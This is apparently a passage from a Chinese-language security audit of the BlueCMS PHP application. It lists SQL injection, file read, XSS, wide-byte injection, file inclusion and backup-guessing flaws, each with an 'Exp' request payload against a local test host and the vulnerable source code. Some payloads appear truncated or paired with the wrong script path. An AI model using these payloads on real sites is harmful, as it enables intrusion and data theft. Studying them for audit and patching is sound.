			$message = preg_replace("/\[email(=([a-z0-9\-_.+]+)@([a-z0-9\-_]+[.][a-z0-9\-_.]+))?\](.+?)\[\/email\]/ies", "\$this->parseemail('\\1', '\\4')", $message);
		}
		$message = str_replace(array(
			'[/color]', '[/size]', '[/font]', '[/align]', '[b]', '[/b]',
			'[i]', '[/i]', '[u]', '[/u]', '[list]', '[list=1]', '[list=a]',
			'[list=A]', '[*]', '[/list]', '[indent]', '[/indent]', '[/float]'
		), array(
			'', '', '', '
', '', '', '',
			'', '', '', '
', '
', '
',
			'
', '
', '
', '
', '
', ''
		), preg_replace(array(
			"/\[color=([#\w]+?)\]/i",
			"/\[size=(\d+?)\]/i",
			"/\[size=(\d+(\.\d+)?(px|pt|in|cm|mm|pc|em|ex|%)+?)\]/i",
			"/\[font=([^\[\<]+?)\]/i",
			"/\[align=(left|center|right)\]/i",
			"/\[float=(left|right)\]/i"
		), array(
			"",
			"",
			"",
			"",
			"
",
			""
		), $message));
		if(strpos($message, '[/quote]') !== FALSE) {
			$message = preg_replace("/\s*\[quote\][\n\r]*(.+?)[\n\r]*\[\/quote\]\s*/is", $this->tpl_quote(), $message);
		}
		if(strpos($message, '[/img]') !== FALSE) {
			$message = preg_replace(array(
				"/\[img\]\s*([^\[\<\r\n]+?)\s*\[\/img\]/ies",
				"/\[img=(\d{1,4})[x|\,](\d{1,4})\]\s*([^\[\<\r\n]+?)\s*\[\/img\]/ies"
			), array(
				"\$this->bbcodeurl('\\1', '')",
				"\$this->bbcodeurl('\\3', '')"
			), $message);
		}
		for($i = 0; $i <= $this->uccode['pcodecount']; $i++) {
			$message = str_replace("[\tUCENTER_CODE_$i\t]", $this->uccode['codehtml'][$i], $message);
		}
		return nl2br(str_replace(array("\t", '   ', '  '), array('        ', '   ', '  '), $message));
	}

22、comment.php 113行处存在sql注入漏洞

Exp：http://127.0.0.3/bluecms/comment.php?act=send&id=1 Post:mood=1&comment=hhh&type=1 Client-Ip：1','1'),('','1','1','1','1',database(),'1','1

elseif($act == 'send')
{
	if(empty($id))
	{
 		return false;
 	}

 	$user_id = $_SESSION['user_id'] ? $_SESSION['user_id'] : 0;
 	$mood = intval($_POST['mood']);
 	$content = !empty($_POST['comment']) ? htmlspecialchars($_POST['comment']) : '';
 	$content = nl2br($content);
 	$type = intval($_POST['type']);
 	if(empty($content))
 	{
 		showmsg('评论内容不能为空');
 	}
 	if($_CFG['comment_is_check'] == 0)
 	{
 		$is_check = 1;
 	}
 	else
 	{
 		$is_check = 0;
 	}

 	$sql = "INSERT INTO ".table('comment')." (com_id, post_id, user_id, type, mood, content, pub_date, ip, is_check) 
 			VALUES ('', '$id', '$user_id', '$type', '$mood', '$content', '$timestamp', '".getip()."', '$is_check')";
 	$db->query($sql);
 	if($type == 1)
 	{
 		$db->query("UPDATE ".table('article')." SET comment = comment+1 WHERE id = ".$id);
 	}
 	elseif($type == 0)
 	{
 		$db->query("UPDATE ".table('post')." SET comment = comment+1 WHERE post_id = ".$id);
 	}
	if($_CFG['comment_is_check'] == 1)
	{
		showmsg('请稍候，您的评论正在审核当中...','comment.php?id='.$id.'&type='.$type);
	}
	else
	{
		showmsg('发布评论成功','comment.php?id='.$id.'&type='.$type);
	}
}

23、user.php 112行处存在任意文件读取漏洞

Exp:http://127.0.0.3/bluecms/user.php?act=do_login Post:referer=&user_name=hhhhh&pwd=KpKvtmXyZLkD6uY&pwd1=KpKvtmXyZLkD6uY&email=1%40qq.com&safecode=s43f&from={base64(文件地址)}&act=do_login

 elseif($act == 'do_login'){
 	$user_name  	= 	!empty($_POST['user_name']) ? trim($_POST['user_name']) : '';
 	$pwd 			= 	!empty($_POST['pwd']) ? trim($_POST['pwd']) : '';
 	$safecode   	= 	!empty($_POST['safecode']) ? trim($_POST['safecode']) : '';
 	$useful_time	=	intval($_POST['useful_time']);
 	$from = !empty($from) ? base64_decode($from) : 'user.php';

 	if($user_name == ''){
 		showmsg('用户名不能为空');
 	}
 	if($pwd == ''){
 		showmsg('密码不能为空');
 	}
 	if($safecode == '' || strtolower($safecode) != strtolower($_SESSION['safecode'])){
 		showmsg('验证码错误');
 	}
	$row = $db->getone("SELECT COUNT(*) AS num FROM ".table('admin')." WHERE admin_name='$user_name'");
	if($row['num'] == 1){
		showmsg('系统用户组不能从前台登录');
	}
	$w = login($user_name, $pwd);

	if(defined('UC_API') && @include_once(BLUE_ROOT.'uc_client/client.php')){
		list($uid, $username, $password, $email) = uc_user_login($user_name, $pwd);
		if($uid>0){
			$password = md5($password);
			if(!$w){
				$db->query("INSERT INTO ".table('user')." (user_name, pwd, email, reg_time) VALUES ('$username', '$password', '$email', '$timestamp')"); 
				$w = 1;
			}
			$ucsynlogin = uc_user_synlogin($uid);
		}
		elseif($uid === -1){
			if($w){
				$user_info = $db->getone("SELECT email FROM ".table('user')." WHERE user_name='$user_name'");
				$uid = uc_user_register($user_name, $pwd, $user_info['email']);
				if($uid > 0) $ucsynlogin = uc_user_synlogin($uid);
			}else $w = -1;
		}
	}
	if($w == -1 || $w==0){
		showmsg('您输入的用户名和密码不正确');
	}
	if($w){
		update_user_info($user_name);
 		if($useful_time !=0){
 			setcookie('BLUE[user_id]', $_SESSION['user_id'], time()+$useful_time, $cookiepath, $cookiedomain);
 			setcookie('BLUE[user_name]', $user_name, time()+$useful_time, $cookiepath, $cookiedomain);
			setcookie('BLUE[user_pwd]', md5(md5($pwd).$_CFG['cookie_hash']), time()+$useful_time, $cookiepath, $cookiedomain);
 		}
		echo $ucsynlogin;
 		showmsg('欢迎您 '.$user_name.' 回来，现在将转到...', $from);
	}
 }

24、user.php 206行处存在任意文件读取漏洞

Exp:http://127.0.0.3/bluecms/user.php?act=do_reg Post:referer=&user_name=hhhhh&pwd=KpKvtmXyZLkD6uY&pwd1=KpKvtmXyZLkD6uY&email=1%40qq.com&safecode=s43f&from={base64(文件地址)}&act=do_reg

 elseif($act == 'do_reg'){
	$user_name 		=	!empty($_POST['user_name']) ? trim($_POST['user_name']) : '';
	$pwd       		= 	!empty($_POST['pwd']) ? trim($_POST['pwd']) : '';
	$pwd1 	   		= 	!empty($_POST['pwd1']) ? trim($_POST['pwd1']) : '';
	$email     		= 	!empty($_POST['email']) ? trim($_POST['email']) : '';
	$safecode  		= 	!empty($_POST['safecode']) ? trim($_POST['safecode']) : '';
	$from = !empty($from) ? base64_decode($from) : 'user.php';

	if(strlen($user_name) < 4 || strlen($user_name) > 16){
		showmsg('用户名字符长度不符');
	}
	if(strlen($pwd) < 6){
		showmsg('密码不能少于6个字符');
	}
	if($pwd != $pwd1){
		showmsg('两次输入密码不一致');
	}
	if(strtolower($safecode) != strtolower($_SESSION['safecode'])){
		showmsg('验证码错误');
	}
	if($db->getone("SELECT * FROM ".table('user')." WHERE user_name='$user_name'")){
		showmsg('该用户名已存在');
	}
	if($db->getone("SELECT * FROM ".table('admin')." WHERE admin_name='$user_name'")){
		showmsg('该用户名已存在');
	}
	$sql = "INSERT INTO ".table('user')." (user_id, user_name, pwd, email, reg_time, last_login_time) VALUES ('', '$user_name', md5('$pwd'), '$email', '$timestamp', '$timestamp')";
	if(!$db->query($sql)){
		showmsg('很遗憾，注册中出错啦');
	}else{
		$_SESSION['user_id'] = $db->insert_id();
		$_SESSION['user_name'] = $user_name;
		update_user_info($_SESSION['user_name']);
		setcookie('BLUE[user_id]', $_SESSION['user_id'], time()+3600, $cookiepath, $cookiedomain);
		setcookie('BLUE[user_name]', $user_name, time()+3600, $cookiepath, $cookiedomain);
		setcookie('BLUE[user_pwd]', md5(md5($pwd).$_CFG['cookie_hash']), time()+3600, $cookiepath, $cookiedomain);
		if(defined('UC_API') && @include_once(BLUE_ROOT.'uc_client/client.php'))
		{
		$uid = uc_user_register($user_name, $pwd, $email);
		if($uid <= 0)
		{
			if($uid == -1)
			{
				showmsg('用户名不合法！');
			}
			elseif($uid == -2)
			{
				showmsg('包含不允许注册的词语！');
			}
			elseif($uid == -3)
			{
				showmsg('你指定的用户名 '.$user_name.' 已存在，请使用别的用户名！');
			}
			elseif($uid == -4){
				showmsg('您使用的Email格式不对！');
			}
			elseif($uid == -5)
			{
				showmsg('你使用的Email 不允许注册！');
			}
			else
			{
				showmsg('注册失败！');
			}
		}
		else
		{
			$ucsynlogin = uc_user_synlogin($uid);
			echo $ucsynlogin;
		}
		}
		$_SESSION['last_reg'] = $timestamp;
		showmsg('恭喜您注册成功,现在将转向...', $from);
	}
 }

25、user.php 130行处存在反射型XSS漏洞

Exp:http://127.0.0.3/bluecms/user.php?act=reg&from="/>"

elseif($act == 'reg')
{
	if (!empty($_SESSION['user_id']) && $_SESSION['user_id'] != 1)
	{
		showmsg('您已经登录，请先退出登录再注册!');
	}
	if (!isset($_SESSION['last_reg']))
	{
		$_SESSION['last_reg'] = 0;
	}
	elseif ($timestamp - $_SESSION['last_reg'] < 30) 
	{
		showmsg('为防止恶意注册，请于30秒后再来注册！');
	}
	template_assign(array('current_act', 'from'), array('注册新用户', $from));
 	$smarty->display('reg.htm');
}

26、user.php 58行处存在反射型XSS漏洞

Exp:http://127.0.0.3/bluecms/user.php?act=login&from="/>"

 elseif($act == 'login'){
	
 	if($_SESSION['user_id']){
 		showmsg('您已经登录，不需要重新登录', 'user.php');
 	}
	template_assign(array('current_act', 'from'), array('登录', $from));
	$smarty->display('login.htm');
 }

27、user.php 772行存在储存型XSS漏洞

Exp:http://127.0.0.3/bluecms/user.php?act=edit_user_info Post:user_name=hhhhh&pwd=KpKvtmXyZLkD6uY&pwd1=KpKvtmXyZLkD6uY&email=from=&safecode=s43f&from=}&act=do_reg

elseif($act == 'edit_user_info'){
	 $user_id = intval($_SESSION['user_id']);
	 if(empty($user_id)){
		 return false;
	 }
	$birthday = trim($_POST['birthday']);
	$sex = intval($_POST['sex']);
    $email = !empty($_POST['email']) ? trim($_POST['email']) : '';
    $msn = !empty($_POST['msn']) ? trim($_POST['msn']) : '';
    $qq = !empty($_POST['qq']) ? trim($_POST['qq']) : '';
    $mobile_phone = !empty($_POST['mobile_phone']) ? trim($_POST['mobile_phone']) : '';
    $office_phone = !empty($_POST['office_phone']) ? trim($_POST['office_phone']) : '';
    $home_phone   = !empty($_POST['home_phone']) ? trim($_POST['home_phone']) : '';
	$address = !empty($_POST['address']) ? htmlspecialchars($_POST['address']) : '';

	if (!empty($_POST['face_pic1'])){
        if (strpos($_POST['face_pic1'], 'http://') != false && strpos($_POST['face_pic1'], 'https://') != false){
           showmsg('只支持本站相对路径地址');
         }
        else{
           $face_pic = trim($_POST['face_pic1']);
        }
    }else{
		if(file_exists(BLUE_ROOT.$_POST['face_pic3'])){
			@unlink(BLUE_ROOT.$_POST['face_pic3']);
		}
	}

	if(isset($_FILES['face_pic2']['error']) && $_FILES['face_pic2']['error'] == 0){
		$face_pic = $image->img_upload($_FILES['face_pic2'],'face_pic');
	}
    $face_pic = empty($face_pic) ? '' : $face_pic;

	$sql = "UPDATE ".table('user')." SET birthday = '$birthday', sex = '$sex', face_pic = '$face_pic', email = '$email', msn = '$msn', qq = '$qq'," .
			" mobile_phone = '$mobile_phone', office_phone = '$office_phone', home_phone = '$home_phone', address='$address' WHERE user_id = ".intval($_SESSION['user_id']);
	$db->query($sql);
	showmsg('更新个人资料成功', 'user.php');
 }

28、user.php 134行存在储存型XSS漏洞

Exp:http://127.0.0.3/bluecms/user.php?act=do_reg Post:user_name=hhhhh&pwd=KpKvtmXyZLkD6uY&pwd1=KpKvtmXyZLkD6uY&email=from=&safecode=s43f&from=}&act=do_reg

 elseif($act == 'do_reg'){
	$user_name 		=	!empty($_POST['user_name']) ? trim($_POST['user_name']) : '';
	$pwd       		= 	!empty($_POST['pwd']) ? trim($_POST['pwd']) : '';
	$pwd1 	   		= 	!empty($_POST['pwd1']) ? trim($_POST['pwd1']) : '';
	$email     		= 	!empty($_POST['email']) ? trim($_POST['email']) : '';
	$safecode  		= 	!empty($_POST['safecode']) ? trim($_POST['safecode']) : '';
	$from = !empty($from) ? base64_decode($from) : 'user.php';

	if(strlen($user_name) < 4 || strlen($user_name) > 16){
		showmsg('用户名字符长度不符');
	}
	if(strlen($pwd) < 6){
		showmsg('密码不能少于6个字符');
	}
	if($pwd != $pwd1){
		showmsg('两次输入密码不一致');
	}
	if(strtolower($safecode) != strtolower($_SESSION['safecode'])){
		showmsg('验证码错误');
	}
	if($db->getone("SELECT * FROM ".table('user')." WHERE user_name='$user_name'")){
		showmsg('该用户名已存在');
	}
	if($db->getone("SELECT * FROM ".table('admin')." WHERE admin_name='$user_name'")){
		showmsg('该用户名已存在');
	}
	$sql = "INSERT INTO ".table('user')." (user_id, user_name, pwd, email, reg_time, last_login_time) VALUES ('', '$user_name', md5('$pwd'), '$email', '$timestamp', '$timestamp')";
	if(!$db->query($sql)){
		showmsg('很遗憾，注册中出错啦');
	}else{
		$_SESSION['user_id'] = $db->insert_id();
		$_SESSION['user_name'] = $user_name;
		update_user_info($_SESSION['user_name']);
		setcookie('BLUE[user_id]', $_SESSION['user_id'], time()+3600, $cookiepath, $cookiedomain);
		setcookie('BLUE[user_name]', $user_name, time()+3600, $cookiepath, $cookiedomain);
		setcookie('BLUE[user_pwd]', md5(md5($pwd).$_CFG['cookie_hash']), time()+3600, $cookiepath, $cookiedomain);
		if(defined('UC_API') && @include_once(BLUE_ROOT.'uc_client/client.php'))
		{
		$uid = uc_user_register($user_name, $pwd, $email);
		if($uid <= 0)
		{
			if($uid == -1)
			{
				showmsg('用户名不合法！');
			}
			elseif($uid == -2)
			{
				showmsg('包含不允许注册的词语！');
			}
			elseif($uid == -3)
			{
				showmsg('你指定的用户名 '.$user_name.' 已存在，请使用别的用户名！');
			}
			elseif($uid == -4){
				showmsg('您使用的Email格式不对！');
			}
			elseif($uid == -5)
			{
				showmsg('你使用的Email 不允许注册！');
			}
			else
			{
				showmsg('注册失败！');
			}
		}
		else
		{
			$ucsynlogin = uc_user_synlogin($uid);
			echo $ucsynlogin;
		}
		}
		$_SESSION['last_reg'] = $timestamp;
		showmsg('恭喜您注册成功,现在将转向...', $from);
	}
 }

29、guest_book.php 67行处存在sql注入漏洞

Exp：http://127.0.0.3/bluecms/comment.php?act=send Post:content=hhh Client-Ip：1',user())#

elseif ($act == 'send')
{
	$user_id = $_SESSION['user_id'] ? $_SESSION['user_id'] : 0;
	$rid = intval($_POST['rid']);
 	$content = !empty($_POST['content']) ? htmlspecialchars($_POST['content']) : '';
 	$content = nl2br($content);
 	if(empty($content))
 	{
 		showmsg('评论内容不能为空');
 	}
	$sql = "INSERT INTO " . table('guest_book') . " (id, rid, user_id, add_time, ip, content) 
			VALUES ('', '$rid', '$user_id', '$timestamp', '$online_ip', '$content')";
	$db->query($sql);
	showmsg('恭喜您留言成功', 'guest_book.php?page_id='.$_POST['page_id']);
}

30、guest_book.php 67行处存在储存型XSS漏洞

Exp：http://127.0.0.3/bluecms/comment.php?act=send Post:content=hhh Client-Ip：1','')#

elseif ($act == 'send')
{
	$user_id = $_SESSION['user_id'] ? $_SESSION['user_id'] : 0;
	$rid = intval($_POST['rid']);
 	$content = !empty($_POST['content']) ? htmlspecialchars($_POST['content']) : '';
 	$content = nl2br($content);
 	if(empty($content))
 	{
 		showmsg('评论内容不能为空');
 	}
	$sql = "INSERT INTO " . table('guest_book') . " (id, rid, user_id, add_time, ip, content) 
			VALUES ('', '$rid', '$user_id', '$timestamp', '$online_ip', '$content')";
	$db->query($sql);
	showmsg('恭喜您留言成功', 'guest_book.php?page_id='.$_POST['page_id']);
}

31、admin/arc_cat.php 27行处存在储存型XSS漏洞

Exp:http://127.0.0.3/bluecms/user.php?act=do_add Post:cat_name=''&show_order=0&parent_id=1&title=1&keywords=1description=3

 elseif($act == 'do_add'){
 	$cat_name = trim($_POST['cat_name']);
 	$parent_id = intval($_POST['parent_id']);
 	$title = !empty($_POST['title']) ? trim($_POST['title']) : '';
 	$keywords = !empty($_POST['keywords']) ? trim($_POST['keywords']) : '';
 	$description = !empty($_POST['description']) ? trim($_POST['description']) : '';
 	$show_order = !empty($_POST['show_order']) ? intval($_POST['show_order']) : '';
 	if($parentid == 0){
 		$cat_indent = 0;
 	}else{
 		$cat_indent = get_catindent($parentid)+1;
 	}

	$sql = "INSERT INTO ".table('arc_cat')." (cat_id, cat_name, parent_id, title, keywords, description, cat_indent, is_havechild, show_order ) VALUES ('', '$cat_name', '$parent_id', '$title', '$keywords', '$description', '$cat_indent', '0', '$show_order')";
	if(!$db->query($sql)){
		showmsg('添加栏目出错', true);
	}else{
		$sql = "UPDATE ".table('arc_cat')." SET is_havechild='1' where cat_id=$parent_id";
		if(!$db->query($sql)){
			showmsg('更新栏目出错','arc_cat.php', true);
			$db->query("DELETE FROM ".table('arc_cat')." WHERE cat_id=$cat_id");
		}
		showmsg('添加栏目成功','arc_cat.php?pid='.$parent_id, true);
	}
 }

32、admin/arc_cat.php 53行处存在储存型XSS漏洞

Exp:http://127.0.0.3/bluecms/user.php?act=edit Post:cat_name=''&show_order=0&parent_id=1&title=1&keywords=1description=3

 elseif($act == 'edit'){
 	$sql = "SELECT cat_id, cat_name, parent_id, title, keywords, description, show_order FROM ".table('arc_cat')." WHERE cat_id = $cid";
	$cat = $db->getone($sql);

	template_assign(array('cat', 'act', 'current_act'), array($cat, $act, '编辑栏目'));
	$smarty->display('arc_cat_info.htm');
 }

33、宽字节注入漏洞（若设置数据库编码为GBK）

则可利用%df’) or 1=1#')来实现任意sql查询点的注入漏洞

34、网站重装漏洞

由于程序错误导致lock文件未能写入，导致了该漏洞

( ! ) Fatal error: Cannot redeclare class Smarty in D:\phpstudy_pro\WWW\127.0.0.3\bluecms\include\smarty\Smarty.class.php on line 65
Call Stack
#	Time	Memory	Function	Location
1	0.0071	173304	{main}( )	...\index.php:0
2	2.6150	397072	require_once( 'D:\phpstudy_pro\WWW\127.0.0.3\bluecms\include\common.inc.php' )	...\index.php:154
3	21.8121	808544	require( 'D:\phpstudy_pro\WWW\127.0.0.3\bluecms\include\smarty\Smarty.class.php' )	...\common.inc.php:66

35、数据库备份爆破漏洞

由于备份文件的命名仅为日期，如20240707.sql，则可以简单爆破获得数据库备份文件名。且数据库备份路径未进行限制访问，造成了数据库备份的下载漏洞。
$file = date("Ymd", time()).'.sql';

elseif ($act == 'do_backup')
{
	if (!is_writable(BLUE_ROOT.DATA."backup/"))
	{
 		showmsg('备份文件存放目录data/backup不可写');
 	}
 	$limit_size = !empty($_POST['limit_size']) ? intval($_POST['limit_size']) : '2048';
	$mysql_type = !empty($_POST['mysql_type']) ? trim($_POST['mysql_type']) : '';
 	$file = date("Ymd", time()).'.sql';
 	$version = BLUE_VERSION;
	$db_version = $db->dbversion();
	$add_time = date("Y-m-d H:i:s");
	$sql .= "--BlueCMS VERSION:".$version."\r\n".
			"--Mysql VERSION:".$db_version."\r\n".
			"--Create time:".$add_time."\r\n";
 	$num = 1;
	if($_POST['tables'])
	{
		foreach($_POST['tables'] as $val)
		{
			$sql .= write_head($val);
			if ($mysql_type == 'mysql40' && $db_version > 4.0)
			{
				$sql = preg_replace('/ENGINE=MyISAM(.*)/','TYPE=MyISAM', $sql); 
			}
			elseif($mysql_type == 'mysql41' && $db_version < 4.1)
			{
				$sql = preg_replace('/TYPE=MyISAM/', 'EMGINE=MyISAM DEFAULT CHARSET='.BLUE_CHARSET, $sql);
			}

			$row = $db->getone("SELECT COUNT(*) AS num FROM ".$val);
			if($row['num'] > 0)
			{
				$sql .= write_data($val);
			}
			if (strlen($sql) >= $limit_size * 1000)
			{
				$file = date("Ymd", time()).'_'.$num.'.sql';
				if (!write_file(BLUE_ROOT.DATA.'backup/'.$file, $sql))
				{
					showmsg('备份数据库卷-'.$num.'失败');
				}
				else
				{
					$msg .= '生成备份文件 '.$file.' 成功
';
				}
				$num++;
				$file = date("Ymd", time());
				$sql = '';
			}
 		}
	}

36、user.php 742行处存在任意文件包含漏洞（仅在php5.2下有效）

Exp：http://127.0.0.3/bluecms/user.php?act=pay Post:pay=1.txt......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

elseif ($act == 'pay'){
 	include 'data/pay.cache.php';
 	$price = $_POST['price'];
 	$id = $_POST['id'];
 	$name = $_POST['name'];
 	if (empty($_POST['pay'])) {
 		showmsg('对不起，您没有选择支付方式');
 	}
 	include 'include/payment/'.$_POST['pay']."/index.php";

 }